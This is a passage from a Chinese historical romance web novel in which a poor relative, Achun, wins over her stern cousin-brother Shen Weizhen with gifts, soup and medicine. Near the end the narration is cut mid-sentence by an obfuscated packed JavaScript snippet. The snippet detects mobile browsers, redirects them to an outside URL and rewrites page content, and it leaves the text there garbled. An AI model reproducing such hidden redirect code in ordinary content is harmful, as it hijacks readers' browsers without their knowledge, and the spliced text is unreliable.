次日，阿椿正梳洗，听见外面有人叫。 “秋霜姐姐，”长灯说，“大爷差人给姑娘送东西来了。” 阿椿也听见了，探身：“什么东西？” 长灯说：“回姑娘的话，是一个紫檀木匣子。” 她是在内外院传话的，不能进姑娘的屋子，只能守在门口。秋霜出门捧了匣子回来，搁在桌上。 阿椿打开看：“呀！” 是一支累丝嵌宝金步摇，金丝与鸽血红宝石做成的山茶花，下坠了三条珍珠红碧玺珠的流苏；那金丝细若发丝，编织严密，这样大的鸽血红宝石更是罕见，令见多了好东西的秋霜都惊叹不已。 紫檀木匣还有一层，轻轻打开，里面静静搁着一对镯子，正阳绿，冰透极了，阿椿不懂翡翠，只觉极漂亮。 秋霜惊呼：“这样好的翡翠，我在老祖宗那里也只见过几次呢。” 沈维桢没让送东西的人传多余的话，只说送给她，没说缘由。 阿椿走出屋子，大声问长灯：“送东西的人呢？” “刚走，”长灯说，“姑娘这是怎么了？” “往哪里？” 长灯指了指方向：“那边吧。” 阿椿提着裙子跑出去。 秋霜眼前一黑：“姑娘，注意仪态！！！” 阿椿哪里管什么仪态。 也不知怎么了，她天然对沈维桢有种亲近感——尽管见面后会被他冷淡吓到，可阿椿还是忍不住想靠近他。 她跑得快，把洒扫的侍女吓一跳；刚出院门，就瞧见还未走远的侍女，阿椿拦下，直接问：“大爷现在在哪里？” 侍女荷露被吓了一跳，愣了愣，才认出她是新来的表姑娘，答：“大爷现在要去向老祖宗请安，再往书院读书……” 阿椿在仁寿堂门口等到了沈维桢。 沈维桢已请过安，正吩咐小厮去牵马，看到站在院门旁的阿椿，一愣，随后皱紧眉头。 阿椿迎上去：“哥哥。” “嗯，”沈维桢有事在身，不等她出口，先说清，“早上送你的那些东西，是补给你的。家中姐妹及笄时，我身为兄长，都会送些首饰，宗淑她们都有。” 阿椿愣住。 昨日果然是她多想了。 一阵脸热，她仍行礼：“谢谢哥哥。” 沈维桢看她身后：“怎么没人跟着你？秋霜呢？” 阿椿脸更红了：“我担心哥哥已经去了书院，见不到哥哥，所以就跑了出来……” 她后悔了。 沈维桢严肃守礼，现在一定会认为她粗鲁。 秋霜已经说过了，大家闺秀是不能跑的。 沈维桢倒没斥责她，问：“你有急事找我？” “嗯，”阿椿飞快从袖中取出香囊，举起，递给沈维桢，“这个送给兄长。” 沈维桢认出来了。 七夕夜，乞巧楼下，男子供奉砚台，女子供奉绣品。 昨日放砚台时，月光下，从几张精巧的绣帕绣香囊中，沈维桢一眼看到这个毫无绣花的香囊，当时就想，一定是她的。 果然。 他没接：“我已说过，那些只是补给你的及笄之礼，并非特例，也并非讨你开心，你不必回礼。” 阿椿错愕地睁大眼睛。 沈维桢不想与她过多接触。 现在将话挑明，反而更方便。 他知道，她不是个蠢的。 “我知道的，哥哥，”阿椿说，“自我入府以来，哥哥对我多有关照，常常送我布匹首饰，我心中十分感激，不知该怎么回报；我没别的东西能拿得出手，无法报答哥哥，只有这个香囊做得还可以。” 她低头，想了一下，仰脸：“哥哥，我是乡下来的，识字不多，不会说好听的话。哥哥说，送我步摇手镯都并非特例，也不是想讨我开心，但我送哥哥香囊，是真的想让哥哥开心。” 4. 雨夜 阿椿怕自己说的话被他笑话。 她天生不爱看书，就不是读书的苗子。 沈士儒官场沉浮，屡遭构陷，早已心灰意冷，不求她多么上进，只要她认字、看得懂账簿就好。 死后万事皆空，沈士儒无法预料，在他过世后，留给沈云娥和阿椿的东西被骗的骗、抢的抢，不足一年，母女俩就要活不下去了。 阿椿没想到还有上京的一天。 若非沈家差人来接，她还想着去做厨娘。 现在，短时间内不必忧愁母亲的医药费了，可阿椿知道自己要学的东西还有很多；和姐妹们相比，她差得实在太远。 阿椿愧疚，学东西竟是为了寻找如意郎君；若是沈士儒知道，一定会对现在的她失望。 唯独想亲近沈维桢这件事，不夹杂任何目的。 只是想待他好。 随侍叶青捧着书盒，候在不远处。 风吹翠竹，沈维桢慢慢皱紧眉，他看阿椿手中的香囊，平心而论，做得的确粗糙，针脚不均，但去供来乞巧，想必已是她最能拿出手的一个。 视线下移，瞧见她腕上空荡荡，掌心和手指上生了茧子。 沈维桢拿走香囊：“东西我收下了，下次有事，别急急躁躁地跑，差侍女过来说一声便好。” 沈维桢看重家人，无论多么忙，只要是兄弟姐妹们差身边的人通报，他都能抽出空解决。 他发现阿椿的脸更红了。 刚刚还以为那就是她极限，没想到还能更甚——她真是红山茶精变的不成？ “因为我想亲手送给哥哥，”阿椿说，“我想看看哥哥。” 其实她想说，我送的这礼物并不精致，甚至拙劣；如果让侍女送，是否会显得不够郑重？ 转念一想，哥哥送她东西，都是让侍女来的；他会不会误以为她不喜欢这种送东西方式？ 阿椿望着沈维桢，期期艾艾。 她喜欢这个好看的哥哥，哪怕他不爱对她笑，严肃冷淡。 沈士儒提过很多次自己这个儿子，说他天生聪慧，勇敢果毅，阿椿磕磕绊绊很久才认全的《千字文》，沈维桢读了十遍就能全部背诵，并准确指出每个字，堪称神童。 阿椿读不好书，愈发仰慕那些读书好的人。 担心沈维桢会不喜，阿椿又快快补上一句：“哥哥若是觉得叨扰，下次我便让侍女送来。” “不必，”沈维桢握着那香囊，他昨日有些咳嗽，闻不到香囊的气味，只淡淡说，“你想来便来，随你。” 随侍叶青提醒：“大爷，该走了。” 沈维桢如今在城外书院读书，嫌弃斋舍简陋，并不住在那里。每日早晨骑马过去，夜间再骑马回府。 阿椿立刻告辞，秋霜终于追上来，后者又急又恼，顾不上纠正自家姑娘，先向沈维桢行礼。 沈维桢叫住阿椿：“静徽，你等一等。” 阿椿乖乖地挪过来：“哥哥。” 沈维桢问：“父亲没教过你读书？” 阿椿惭愧：“我脑子笨，学不进去。” 沈维桢未置可否：“未必是你学不进去，他性格执拗，想必教的方式也有问题。” 阿椿以为他还要再说，等了等，没等到。 她仰脸。 “回去吧，”沈维桢说，“别误了向老祖宗请安。” 阿椿猛然变了脸色，立刻往睦和堂方向跑，在秋霜倒吸冷气声中，她又折返回来，匆匆忙忙向沈维桢行礼，一板一眼地说妹妹要去向老祖宗请安先走一步请哥哥见谅—— 都这个时候了，她怎么还遵从这种礼节？ 说遵从也不对，匆匆说完后，不等他反应，又提着裙子跑，野兔子般，连秋霜都追不上。 沈维桢紧皱的眉慢慢舒展开。 他捏一捏香囊，随手递给叶青，示意放好。 沈维桢没把香囊放在心上，他无同胞姐妹，但府上一直养着专门的绣娘做针线，二房、三房几个妹妹也会做一些小物件送他。 况且他不喜浓烈的香气，极少佩戴；送来了，大多也都收着不用。 昨夜感染风寒，今天闻不到香囊气息，更忘在脑后。 一晃到了傍晚，书院中，夫子离开，叶青整理着他的纸笔。好友汪辰鸣同沈维桢闲聊，无意间窥见他书匣，咦一声。 “维桢，”汪辰鸣指着那香囊，“你怎么把它放在书匣中？” 沈维桢这才记起来香囊，瞥一眼：“妹妹做的。” 汪辰鸣原想取出来看，闻言，立刻缩回手，笑：“你这个人真是奇怪，将香囊放在书匣中，是想把书也熏香么？” 沈维桢听他这么说，伸手拿起香囊，放在鼻间细嗅，闻到了熟悉的淡淡香气。 是他常用来熏衣的香料。 他侧身，问叶青：“你什么时候往里面放的东西？” “大爷，”叶青说，“早晨表姑娘送您时，里面就有香包，小的不敢乱动。” 沈维桢将香囊重新放回书匣，不解。 她怎么知道他用什么香？ 这样小心翼翼的讨好…… 汪辰鸣饶有兴趣：“表姑娘？是从南梧州过来的那个表妹吗？” 沈维桢一声嗯，岔开话题：“你家中的姐妹，如今都在哪里读书？” 入夜，骑马回到府中，沈维桢开始咳嗽。他让小厮过去，说今天生病，不去老祖宗那边请安了；老祖宗又差人将他叫去，说是有要事相商。 沈维桢去了。 屏退侍女，只留一个赵嬷嬷随侍，显然有要事商谈。 老祖宗先拿一个奇怪的方帕给他看，素白一张，上面歪歪扭扭、横七竖八的全是针线痕迹。 沈维桢接过来，起初疑惑，仔细看清针脚，渐渐明白：“是静徽的？” 老祖宗点头：“不错。” 赵嬷嬷讲，昨日几个姑娘来请安，从沈静徽袖中掉下这个，她没发觉，被沈湘玫捡去了。这东西可有可无的，但沈湘玫把方帕丢给身边侍女，取笑沈静徽如此节省，恐怕连蚊子腿上都能剔下肉。 沈维桢捏着方帕，不悦：“是该请个先生好好管教了。” 老祖宗说：“静徽也要好好教一教。” 沈维桢没说话。 老祖宗示意他喝桌上的茶，沈维桢浅尝一口，淡而幽香、微苦淡涩，莲香清益。 他似乎又看见了雾蒙蒙的湖绿水池，盈盈碧荷。 “是静徽亲手做的莲子芯茶，下午避着其他姐妹送来，她敬我疼我，又怕其他姐妹说嘴，不敢声张，”老祖宗说，“是个可怜的丫头。” 沈维桢说：“您想也为她请个先生？” 家中几个姐妹年纪差距不大，之前请了女夫子，教她们识字念书。后来，女夫子考取宫中女官，请辞离开，姐妹们也已学完了四书五经，家中就再未请过。 老祖宗说：“我原是这么想的，请个先生来，教她们学《史记》、《汉书》等。读书明理，读史明智。书读多了，视野开阔，待人接物上自然能落落大方。只是，现下教史学的女夫子难寻，毕竟咱们家都是姑娘，你那三个弟弟也都在外读书，若请先生来，只怕不太方便。” 沈维桢说：“若是这样，祖母倒不必为难。子曦的母亲开设了女学，离书院并不远，我去打听打听，若是合适，可以将妹妹都送过去。” 子曦是他的好友，如今御史中丞的幼子。 “湘玫的娘亲是个溺爱孩子的，只是一味的宠爱，把孩子教得有些小家子气了，一点小事上斤斤计较，去女学读书，我以为正合适；琳瑛年纪虽小，但有姐妹作伴，也好些，”老祖宗叹，“唯独一个静徽，令我为难，她读书不多，只怕她跟不上；可若让她一人在府中，未免孤单。” 沈维桢没说话，似在思索。 老祖宗拿不准他的主意。 他是个心思重的。 侯府近几十年一直子嗣不盛，族谱上，沈士儒更是只有沈维桢一个儿子；二房三房资质平庸，如今不过谋些个闲差，也难以成什么大事。 再往下，最大的就是沈维桢，为父守孝三年，耽误了科考。 沈士儒刚过世时，不少人盯着侯府这块肥肉，破船还有三千钉呐！哪怕侯府如今大不如前，渐渐衰落，这百余年累积、攒下的家底也丰厚。沈维桢刚承袭爵位，一边提防着侯府往日结下的仇敌，一边应付那些想要趁机生事的东西，一边维持着和侯府交好的达官贵人，还要镇压下面蠢蠢欲动、闹乱子的部下。 老祖宗吃斋念佛，已不是为了自己。 她只祈祷犯了杀戮的孙儿能平平安安，血债她愿还。 沈士儒刚过世时，沈维桢就提过一次，要沈士儒最疼爱的阿椿和沈云娥一并殉葬，成全他们在一起的愿景。 老祖宗思及此，便心惊肉跳。 这件事原本要同李夫人商议，但李夫人不爱打理这种事情，只说问沈维桢意见，沈维桢想怎么做，她都同意。 “……沈云娥也是可怜，”老祖宗说，“有些事，我原不想对你说，怕辱了你父亲的名声。” 沈维桢问：“难道他还有什么好名声不成？” 老祖宗重重一声叹，示意赵嬷嬷离开。 房内唯余祖孙二人。 “沈云娥的夫婿，原是同她一起长大，后来，你父亲外放南梧州做知府，她夫婿就在你父亲手下做事。你也知道，南梧州瘴气横生，虫蚁毒蛇多，你父亲勘测地形时，不慎为毒蛇所伤，沈云娥有一家传治毒蛇咬的方子，及时救了你父亲一名——谁知，唉！”老祖宗说，“你父亲便看中了她，但那时沈云娥新婚不久，你父亲只写信告诉我这一件事，请我遣人送些女子用的珠宝首饰，好报答沈云娥救命之恩；又说都姓沈，最好连个宗，这样以后也能多帮扶她。” 沈维桢问：“后来呢？” “后来，沈云娥刚有身孕，夫婿便病逝，单单留下她一个女子；”老祖宗看沈维桢，“再之后的事情，你都知道了。” 沈维桢说：“老祖宗今日怎么突然和我说这些？” “沈云娥可怜，静徽也可怜；你当年提出殉葬，我没同意，也是因为沈云娥写信给我，求我能饶过静徽，她是无辜的——”老祖宗说，“世道如此，若没有你父亲，你让她们寡母孤女又怎么活得下去呢？这些事，说出去对你父亲不好，我便一直忍着。本想烂在肚子里，谁知……你该多疼些静徽。” 沈维桢说：“我没说不疼她。” “那就多去看看静徽，别只是送东西，”老祖宗说，“你也知道，下人大多势利，你需待她更好些，才能叫人重视这位表姑娘；她在这府里，才能大大方方地过下去。” 实质上，她并不能确定静徽是否真……但，毕竟已经养在府上了，孩子又懂事，亲不亲的，也不打紧。静徽相貌好，养好了，将来嫁出去，对侯府也是一份助益。 沈维桢没说好，也没说不好，他问：“您是担心静徽跟不上功课？我去书院打听打听，看同窗谁家姐姐妹妹请过女夫子，若有那耐心足、学问好的，就请来一个，单独为静徽补课——您觉得如何？” 老祖宗欣然应允。 阿椿在两日后得知这个可怕的消息。 她居然要去上女学，等八月秋社过后就要去。 苍天啊，她连诗都没读过几首，怎能去上女学呢？ 沈湘玫和沈琳瑛反应平平，她们自小就开蒙读书，以前是在家中请夫子教；现在去女学，也不过是换个地方看书、玩耍罢了。 还能交到更多朋友，何乐而不为呢？ 至于沈宗淑，从老祖宗那边听了些，知道主要是陪三个妹妹，更不怕了。 上学焦虑的顿时只剩下阿椿一人。 一波未平一波又起，又有消息传来，说老祖宗为阿椿单独请了一位女夫人，专程教阿椿诗书，以助她跟上女学课程。 阿椿愁到连饭都少吃半碗。 这日，姐妹三人聚在一起绣花，眼看外面阴雨绵绵，隔着窗子，只见一个提着药箱的大夫匆匆忙忙经过，身边跟着撑伞的小厮和药童。 靠窗的阿椿先放下皱皱巴巴的绣品，望去：“大哥哥生病了？” 这条路，那个方向，只能通往仁寿堂。 “是啊，你不知道吗？”沈湘玫看这烦人的雨，担心自己的画干不了，说，“大哥哥七夕晚感染风寒，第二晚就病倒了，已经多日不去书院。” 阿椿算了算日期，惊诧：“风寒？怎么病这么久？” “说是又被蝎子蛰了一下，”沈琳瑛接过话，“看管花园的婆子们是越来越懒散了，家里怎么会有蝎子？” “不是在家里，是在书院被蛰……哎呀，”沈湘玫说，“你也是笨，好好的京城里，怎么会有蝎子呢？——静徽，你要去哪里？” “五姐姐，六妹妹，”阿椿如实说，“我故乡在南梧州，那边蚊虫多，也知道些治疗虫咬的方子，或许能帮到大哥哥。我想去配了药，再熬些汤，去探望他——不如，我们一起过去？” 沈湘玫沈琳瑛两人摇头拒绝，说不想被大哥训斥，不愿去。 她们才不敢。 沈维桢那么 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“哥哥，”阿椿欣喜，“对不住，我应该先派人问问你想不想见我，你若想见我，我再送东西来；你若不想，我就让人单独送来——但等汤煮熟了，我才记起这件事，来不及派人问了，否则会凉掉，所以擅作主张送了过来——现在汤还热着呢，哥哥能请我快快进去吗？” 叶青脸色变了。 沈维桢不喜人进书房，若无他吩咐，任何人都不能进；哪怕是负责整理的叶青。 沈维桢的确不愿让阿椿进。 可妹妹眼睛太亮。 他侧身，示意她进来，又吩咐叶青：“带秋霜姑娘去找荷露，让荷露比照着表姑娘身形找些干净的新衣服——还有雨中穿的斗篷斗笠。” 话音刚落，进书房的阿椿被门槛绊了一下，她眼睛不好，预估错了位置，疾走一步，跌跌撞撞，险些摔倒。 幸好她扶着门框站稳了，才没冲进沈维桢怀中。 但这一晃，两人距离近了，沈维桢闻到清雅的莲香，还有些未曾闻过的淡淡幽香。 他后退一步，低头看，阿椿衣裙侧有几道泥水印子，尤其是膝盖稍上的位置；她眼睛在夜里不好，不知又撞到什么地方，或者剐蹭到花枝。 “再拿些治跌打损伤的药膏，”沈维桢对叶青说，“我记得院里有对明瓦的灯笼，你让荷露找来，等会儿让表姑娘拿去。” 荷露是统管仁寿堂杂务、保管东西的侍女，和秋霜一样，以前都在老祖宗面前伺候，年纪最大，也最沉稳。 叶青领命，带着秋霜离开了。 虽是夏季，雨水也冷。 沈维桢见阿椿冷得耳朵鼻尖泛红，倒了杯热水，谁知阿椿完全不在意，自己冻得哆嗦，先宝贝地打开护在怀中的食盒。 “哥哥，我炖了雪梨百合润肺汤，最适合咳嗽的人喝，”阿椿说，“还有这个药膏，是南梧州那边的土方子，专门治被蝎子蛰。我小时候被黑蝎子咬了手指，发高烧，娘用它涂在我手上，当天晚上就退烧了，后来一个疤都没留下呢。” 见沈维桢站着不动，阿椿意识到什么，主动拿了药膏，先往自己手背上涂：“药材都是用府上的，而且我问过大夫了，他说过没问题，所以我才调配……哥哥若是觉得脏——” 香气更近了。 “不觉得脏，”沈维桢侧避，“说这些话，渴不渴？” 阿椿不好意思：“……一点点。” 沈维桢递过热水，她捧着杯子，仰脸一饮而尽。 一口气喝完水后，阿椿才想起仪态，腼腆笑一笑，按照秋霜教的，轻轻将杯子放回原处，认认真真地假装用手帕擦一擦唇角没有的水痕：“多谢哥哥。” 沈维桢视线盯着她的手，适才她展示药膏时，露出手指，茧子之外，的确没有虫咬后的疤，但有不少刀伤、绳子勒伤后的痕迹，一看便知做了不少重活。 “以前过得不好么？”沈维桢停一下，又觉这一问实在多余，说，“手上这么多伤。” “还好，在香料铺和药铺帮工，累是累了些，但能学到很多东西；我笨，学得慢，才容易切到手，后来学会了，就不会再切到了，生活也越来越好，”阿椿说，“现在有了哥哥，我就过得更好了。” 她真心实意地说：“我感激哥哥，喜欢哥哥。” 屋内灯火温暖，外面风斜雨骤，沈维桢盯着她一开一合的唇，忽而侧身走，靠近窗子，将窗户关好。 清雅莲香犹如冤魂般纠缠着他。 他要怀疑自己风寒加重了，否则怎么只能闻到这股气息。 背对着阿椿，沈维桢问：“你怎么知道我用什么香？” “我略学过一些调香，只要是闻过的香料，都能调配出差不多的，”阿椿如实说，“只要哥哥不嫌弃就好。” “调香？”沈维桢转身，若有所思，空气之中，莲香犹在，若有似无，了犹未了，不由得问，“你今日用的香，也是你自己调配的？” “嗯？”阿椿说，“我今天没有用香呀。” 蓦然。 沈维桢停住。 他意识到，这是她的体香。 幸好荷露适时敲门，守在外面，说衣服准备好了，要带表姑娘过去更换。 阿椿立刻起身告辞，临走前，不忘提醒沈维桢：“记得趁热喝汤呀，哥哥，药膏也要快快地抹，越早越好。” 她愧疚：“是我不好，不知道哥哥被蝎子蛰伤了；不然，这两日哥哥也不必受这份罪。” 沈维桢嗯一声，关上房门，将躁动的风雨一并关在外面。 寂静依旧。 只是书桌上多了阿椿带来的食盒，格格不入，不容置疑地入侵着他的领地。 汤水温热，沈维桢用勺子尝了一口，雪梨百合润肺汤，还加了银耳，他却只尝到一股莲香，还有些熟悉的、说不出的幽幽淡香，勺子向下探，沈维桢盯着碗底，没看到丝毫莲子。 他想到刚刚阿椿进门时，眼睛不好，差点被门槛绊倒，衣袖中一拢莲香，像荷叶包裹着一支半开的荷花苞；她向他走的那踉跄几步，凉风暗渡莲香，裹挟着潮湿雨气袭他满怀。 清脆一声，勺子撞白瓷。 屋外的荷露，刚送走表姑娘，正要向沈维桢回话，刚走到书房门前，就听见里面哐啷一声碎瓷响。 荷露站在门外，不敢进，问：“大爷，怎么了？” 静默后，只听沈维桢的声音。 “无事，”他说，“碗打翻了，让叶青进来收拾吧。” 5. 糕点 沈维桢还是用了阿椿送来的药膏。 这次对外说是被意外蛰伤，实则不然。 如今在书院中读书的学子，大多在十几二十岁左右，一个个血气方刚、头脑易发热。 哪怕同窗而读，内部也分做两派，一派以沈维桢为首，大多家底殷厚，祖上出过权臣名将；还有一种，是那些新贵们的孩子，平时唯尚书左仆射的四子章简马首是瞻。 偶有一两个耕读人家的孩子，夹在中间，小心生存。 这次就是发生了争执，新贵派的一个愣头青，辩论输了，不知怎么想的，寻了黑蝎子，藏在书袋中，要伺机报复；岂料在课堂上，那黑蝎子竟跑了出来。 这些人何曾见过这种毒虫，四下纷逃，唯独沈维桢面不改色，擒了黑蝎子弄死，并叮嘱下去，谁也不许说这回事，莫让夫子知道，只说黑蝎子是山林里意外跑进来的，他是不慎被蛰伤。 沈维桢虽尚未入仕，但父亲过世后的这些纷争，已令他深谙为人处世之道，早就想要化解书院中的两派斗争。他清楚，同窗这些人，将来少不了有用，何必为一时激愤闹僵了关系。更何况，为父报仇，也需要更多的助手。 一切都在计算中。 除却阿椿送药。 沈维桢没想到她会过来。 他眼睛没有问题，却也记得沈士儒情况——一入夜，灯光暗处，父亲便视物不清，一段寻常的路，也可能会摔跤。夜间，父亲前往书房考察他功课，衣角常有露水泥痕。 今晚下这样大的雨，她那么小小一个，看不清楚，抱着食盒和药膏就这么跌跌撞撞来了。 虽知她身世，犹不免心生怜意。 父亲过世后，这几年，沈维桢经历了些事，心境和先前已大不相同。对于阿椿这个妹妹，以往只想除之而后快，后来却变了念头。 怎么变的，也说不清。 派人接阿椿入府时，沈维桢想过，要将她如其他妹妹般养着，养上个一两年，再许配人家。 侯府不缺钱财，能出得起丰厚嫁妆。姻亲关系高于其他联络手段，最为稳固，一旦结了亲，便一荣俱荣一损俱损。弟弟妹妹们的终身大事，将来嫁娶哪一家，沈维桢身为长兄，早有安排。 那日不该经过莲池。 沈维桢闭上眼，平息心情，冷静想。 真是昏了头。 他这次病得并不严重，风寒早就痊愈，被蝎子蛰一下，也伤不了多少。这些天不去书院，不过是做做样子，沈维桢深谙章简品行，他性格鲁莽，赤血热肠。当沈维桢对夫子说是山林中的蝎子误入课堂时，章简不加掩饰地流露出钦佩神色。 沈维桢需把握这个时机，化干戈为玉帛。 搁下笔，今日的字练完了。 本欲沐浴就寝，一抬眼，看到阿椿送来的食盒，沈维桢想起她的眼疾，出了书房，吩咐叶青：“院中有两匣子明目丸，你去领了，亲自给表姑娘送去。” 叶青领命要走，又被沈维桢叫住：“现在几时了？” “刚过亥时。” 亥时已过，只怕阿椿早已睡下了。况且，哪里有兄长大半夜送东西给妹妹的道理。 “那就明日再送，”沈维桢说，“你也早些去歇息。” 次日，阿椿早早醒来。 母亲沈云娥咳疾加重了。 南梧州常年阴雨，空气也湿润，相比之下，京城过于干燥。 肺喜润恶燥，在府上虽有医生看诊、不必操心钱财，但有钱也不能给这院子降雨。 阿椿便时常熬煮些润肺汤饮，期盼能以食补。 在这府上，除却老祖宗、李夫人和沈维桢的院子有小厨房外，其余人想吃些什么东西，都要去公中的大厨房。 昨夜听说沈云娥咳嗽加重，阿椿掐算着时辰，今日早早起床，去厨房中煲汤。 京城饮食习惯与南梧州大不相同，也无人会做那些汤饮，阿椿略学过一些，常常亲自做。 荷露领命送明目丸时，只见秋霜独自打理，惊异：“表姑娘呢？” 两人自小长大，也相熟，秋霜没有顾忌，说姑娘领了一个小丫鬟，去厨房炖汤了。 荷露在沈维桢院子里做了十年，所思所想比秋霜更多一些，闻言，匣子也不放下了，让秋霜随她一块去厨房见表姑娘。 秋霜起初不知荷露为何如此，等靠近大厨房，渐渐懂了。 两个婆子在院中，边择菜边闲聊。 “一个投奔的远房表亲，怎么还真把自己当千金贵女了？老祖宗觉得她可怜，赏识了些，她也不该这么拿乔。” 另一个说：“是啊，做个汤要这么多材料，又是羊肚菌又是海底椰的，到底是乡下来的，给根竿子就往上爬。炖些滋补汤也就罢了，她还来折腾我们这些老骨头，大早晨起来给她找材料。” 秋霜怒气，挽起袖子要上前，被荷露拦下。 “你是表姑娘的侍女，现在若做错了事，名声受损的还是表小姐，”荷露低声，“让我来。” 秋霜咬牙：“这群多嘴多舌的婆子，看我不拔了她们舌头！！！” 荷露说：“去吧，你最好现在就能拔掉她们舌头，你能吗？——只是骂几句又有什么用？你且跟着我，别说话。” 秋霜恼愤，也知荷露所言非虚。 突然间来府上投亲的一个表姑娘，即使老祖宗偏爱了些，下面这些人，该不服气的还是不服，刀子不落下来，这些人就不知道该谨言慎行。 荷露身份不一样，如今沈维桢尚未婚配，整个沈府都由李夫人管家。沈维桢前程大好，又有出息，谁都不敢怠慢他院子里的侍女小厮。 她没有咳嗽，也没出声，自然地捧着匣子过去。俩婆子看到她，吓了一跳，全站起来，一个还打翻了盛菜的铜盆；再看到旁侧的秋霜，脸色更差了。 “姑娘，”年纪稍大的那个说，“可是大爷有话吩咐？” “大爷风寒未愈，表姑娘关心，特意炖滋补汤，”荷露说，“大爷心疼表姑娘，特意让我来帮表姑娘，顺便给表姑娘送几样东西。” 俩婆子白了脸。 ——不是说沈云娥和过世的老爷有些不清不楚，大爷不喜她们母女么？ 荷露没有斥骂两个婆子，她找到正煨汤的阿椿，郑重地将装了明目丸的匣子交予秋霜，又恭敬说：“大爷心疼表姑娘如此早起辛苦，让我来替一替您。表姑娘请在旁歇息，有什么要做的，吩咐我就是了。” 阿椿听得懵懵，只听进去了“哥哥心疼”，笑：“辛苦兄长体恤。” 待炖好了汤，荷露盛了一份，说要给大爷送去；走出厨房，她才歉意开口，说见姑娘汤炖得香，自作主张，想给大爷也带去一份，希望姑娘勿怪。 阿椿自然不在乎。 沈云娥胃口小，如今只能喝得下半碗，炖了这些汤饮，莫说分给沈维桢一份了，盛去大半也没关系。 她都不知道该怎么回报兄长好意。 就像现在，阿椿何尝不知自己被议论，但她寄人篱下是铁板钉钉的事情，怨不得旁人说；是以，她更希望能早日出嫁，再将母亲接过去照顾。 现今荷露为她撑腰，背后少不了沈维桢的意思。否则，像以往那样，随意指派个侍女送东西就好，不会让荷露这样身份的大侍女过来。 “谢谢荷露姐姐，”阿椿说，“请您告诉兄长一声，他若是爱喝，以后我天天做给他。” 荷露忍俊不禁：“表姑娘，您怎能天天下厨房呢？您肯做，只怕大爷也舍不得喝。” 阿椿不好意思：“兄长待我很好，我能为他做的却很少……天天收兄长送的东西，我无以为报，心中有愧。” 荷露心想怎么会没有报答的时候呢？先前她侍奉茶水，听沈维桢同人谈起过为妹妹们择婿。这位表姑娘生得出色，性格也好，若能觅得佳婿，自然是对沈维桢的报答。 这话绝不会对未出阁的小姐说，荷露亲自送阿椿回藏春坞，等回去仁寿堂复命，已经迟了。 她向沈维桢回禀了今日所见所闻，一五一十，没有任何遗漏，包括阿椿那番质朴的感激之语。 沈维桢听了，吩咐：“不要惊动老祖宗，你去同夫人说，厨房有两个婆子议论主子，请她定夺。” 荷露说是。 沈维桢想起阿椿手上的茧子和刀伤：“春雨厨艺不错，你去告诉表姑娘，她今后若再想炖汤做饭，不必去公中厨房了，来我院子的小厨房就好；也不用她动手，她说方法，让春雨做；至于采买食材，都从我账上出。” 荷露领命离开。 待人走后，沈维桢才看到荷露带来的汤，说是阿椿亲手煲的，南梧州的风味。 他皱眉。 因父母不和，沈维桢本能排斥、厌恶南梧州。 和南梧州有关的东西、吃食，一概不碰。 这次也不会破例。 他只是不懂，为何阿椿总是一副感恩戴德的模样。他不过稍稍帮了她一下，甚至算不上“帮”，只是尽兄长的义务，举手之劳而已，她便恨不得把全部的东西都捧给他。 第一次见这种不加掩饰的感恩，直接到似乎要将热心掏出，和其他弟弟妹妹完全不同，沈维桢有些无措。 一时间，竟不知该怎么待她。 那碗汤放至冷透，倒掉，沈维桢一口未碰。 正午，小厮一路来报，说尚书左仆射的四子章简前来拜访。 未提前送拜帖，对方行事突然，也在沈维桢意料之内。 思及后院中还有很多妹妹，沈维桢起身：“请章公子移步前厅——” 话未说完，只听叶青来报：“大爷，章公子来了。” 沈维桢面不改色，眼看章简大步进了院。 心中不喜他失了礼节，面上，沈维桢仍微笑，称他的字：“少繁，请。” 章简性格直爽，拱手：“元敬兄，可好些了？” 移步竹林廊下，两人寒暄，未谈几句，章简忽然停住，一动不动，直着眼，嘴巴微微张开，似看到什么不得了的东西。 沈维桢转身。 竹林影婆娑，夏末微凉，一片碧绿中，阿椿拎着小食盒前来，杏色宽袖衫，外罩石榴红半袖，下穿红绿间色八破裙，杏色合围，腰间无有配饰，挽一条石榴红洒金披帛，恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471238|201492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若神仙。 沈维桢觉今日太阳太好了，太毒，照得他看不清。 四目相对，尚有一段距离，阿椿惊喜叫出声：“哥哥！” 沈维桢心想一个夫子怕是不够，要多为她请个教礼仪的夫人。 竹叶将阳光切成细碎小圆斑，照着她额前茸茸的发，阿椿快走几步，兴高采烈：“哥哥，老祖宗刚刚送了我一些糕点，非常好吃，我想让哥哥也尝尝；本要送去哥哥院子里，没想到在这里——” 沈维桢也没想到她会来。 这片竹林尽头就是他住的院子，妹妹们怕他，轻易不敢来此处玩耍。也正因此，沈维桢才在这里同章简谈事。 他忽略了，家里还有个不怕他的妹妹。 阿椿此举不合规矩。 外男在此，她不该过来，还离这样近。 她怎么能像没看到章简。 沈维桢及时叫她：“静徽，这是我的同窗，章简。” 阿椿手快，他说话时，她已经搁下食盒打开盖子，闻听此言，咦一声，顺着兄长视线看去，吓了一跳—— 呀！这里怎么还有一个人！ 阿椿立刻后退几步，挪到沈维桢身后，规矩行礼：“章公子。” 沈维桢不喜章简视线，开口：“少繁，这是我妹妹，静徽。” 章简猛地一下起身，膝盖磕碰到石桌，不小的一声，吓得阿椿后退一步，靠沈维桢更近，吃惊地看他。 章简完全感觉不到疼痛，被她看的时候，他整个人都暖绒绒的，像被温火烤的鸭子，一层层掉了绒毛。 这种暖和中，章简愣愣地盯着阿椿，手一拱，行礼：“妹妹。” 阿椿弯一弯身。 “元敬，”章简忍不住问，“这是你几妹妹？” “表妹，”沈维桢淡淡开口，“静徽，你先回去，我稍晚再去见你。” 阿椿后知后觉，京城中的大户人家规矩多，无亲缘关系的男女不该如此见面。 她观察沈维桢脸色，觉哥哥心情不悦，只怕等会儿要教她规矩。 阿椿要脸面，不想在藏春坞里被兄长训斥：“我去哥哥院子里等可好？” 沈维桢颔首：“好。” 阿椿灰溜溜地拎着小食盒，垂头丧气，去仁寿堂等。 